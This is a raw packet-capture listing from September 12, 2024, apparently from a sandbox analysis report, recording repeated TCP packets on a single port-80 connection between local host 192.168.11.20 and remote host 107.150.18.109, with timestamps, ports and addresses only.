Sep 12, 2024 21:29:58.901531935 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.901542902 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.901554108 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.901694059 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:58.901715994 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.124517918 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.124660015 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.124675035 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.124691963 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.124797106 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.124797106 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.124813080 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.125005960 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.125020027 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.125039101 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.125154018 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.125159979 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.125159979 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.125180006 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.125319958 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.125896931 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.125947952 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.125960112 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.125971079 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.125989914 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.126000881 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.126012087 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.126038074 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.126038074 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.126085997 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.126085997 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.126183987 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.347731113 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.347901106 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.347907066 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.347922087 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.348084927 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.348084927 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.348298073 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.348311901 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.348342896 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.348376036 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.348464012 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.348464012 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.348479986 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.348498106 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.348526001 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.348553896 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.348556995 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.348732948 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.348787069 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.348802090 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.348813057 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.348984003 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.348984003 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.349212885 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.349277020 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.349287987 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.349298954 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.349317074 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.349328041 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.349366903 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.349387884 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.349412918 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.349428892 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.349428892 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.349492073 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.349492073 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.349507093 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.349561930 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.349577904 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.349577904 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.349706888 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.349725962 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.349777937 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.349872112 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.349966049 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.350244045 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.350269079 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.350281000 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.350305080 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.350317955 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.350328922 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.350409031 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.350409031 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.350424051 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.350424051 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.350424051 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.350502968 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.570746899 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.571006060 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.571080923 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.571285009 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.571611881 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.571633101 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.571846008 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.571901083 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.571918011 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.572048903 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.572079897 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.572093964 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.572127104 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.572264910 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.572310925 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.572339058 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.572355032 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.572370052 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.572384119 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.572490931 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.572490931 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.572514057 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.572554111 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.572562933 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.572587013 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.572674036 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.572674036 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.572736979 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.572750092 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.572920084 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.573498011 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573512077 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573546886 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573559999 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573571920 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573585033 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573597908 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573610067 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573622942 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573635101 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573647976 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.573647976 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.573697090 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.573746920 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573749065 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.573765039 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573777914 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573790073 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573793888 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.573893070 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.573893070 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.573893070 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.573939085 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.573940992 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574076891 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574098110 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574110985 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574208975 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574245930 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574245930 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574352026 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574353933 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574492931 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574707031 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574759960 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574773073 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574784994 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574798107 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574810982 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574822903 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574856997 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574856997 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574906111 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574906111 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574906111 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574907064 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574954987 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.574969053 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.574981928 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.575090885 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.575090885 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.575124979 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.575269938 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.575273991 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.575429916 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.575601101 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.575624943 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.575638056 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.575649977 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.575663090 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.575715065 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.575763941 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.575763941 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.575813055 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.575813055 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.576267958 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.576283932 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.576297998 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.576309919 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.576323032 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.576335907 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.576348066 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.576360941 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.576437950 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.576437950 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.576478958 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.576478958 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.794181108 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.794239998 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.794289112 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.794332981 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.794425011 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.794471979 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.794538021 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.794863939 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.795082092 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.795217991 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.795273066 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.795317888 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.795361042 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.795423031 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.795494080 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.795514107 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.795514107 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.795613050 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.795655966 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.795793056 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.795881987 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.796119928 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.796273947 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.796485901 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.796809912 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.796866894 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.796988010 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.797075033 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.797143936 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.797199011 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.797245026 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.797280073 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.797306061 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.797358036 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.797406912 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.797487974 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.797935009 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.797991037 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798034906 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798079967 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798121929 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798156977 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.798156977 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.798203945 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798254967 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798259974 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.798312902 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798373938 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.798373938 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.798456907 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798475981 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.798520088 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798638105 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798645973 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.798645973 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.798711061 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798754930 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.798777103 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.798892975 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.798892975 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.798976898 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.799021959 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.799113989 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.799149990 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.799165010 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.799210072 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.799253941 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.799298048 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.799308062 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.799308062 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.799366951 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.799406052 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.799468994 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.799474001 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.799515009 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.799539089 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.799582958 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.799648046 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.799724102 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.800468922 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.800527096 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.800570965 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.800614119 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.800626993 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.800669909 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.800702095 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.800719023 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.800762892 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.800770044 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.800821066 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.800842047 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.800883055 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.800920010 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.800942898 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.800968885 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801002026 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801045895 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801064968 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801064968 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801115990 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801163912 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801168919 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801168919 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801232100 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801259995 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801259995 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801300049 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801348925 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801388025 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801404953 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801436901 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801465988 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801486015 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801527023 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801572084 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801575899 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801625967 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801675081 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801723003 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801772118 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.801914930 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.801960945 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.802002907 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.802047014 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.802064896 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.802108049 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.802114964 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.802165985 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.802211046 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.802216053 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.802265882 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.802285910 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.802285910 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.802335024 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.802380085 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.802388906 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.802437067 CEST	80	49715	107.150.18.109	192.168.11.20
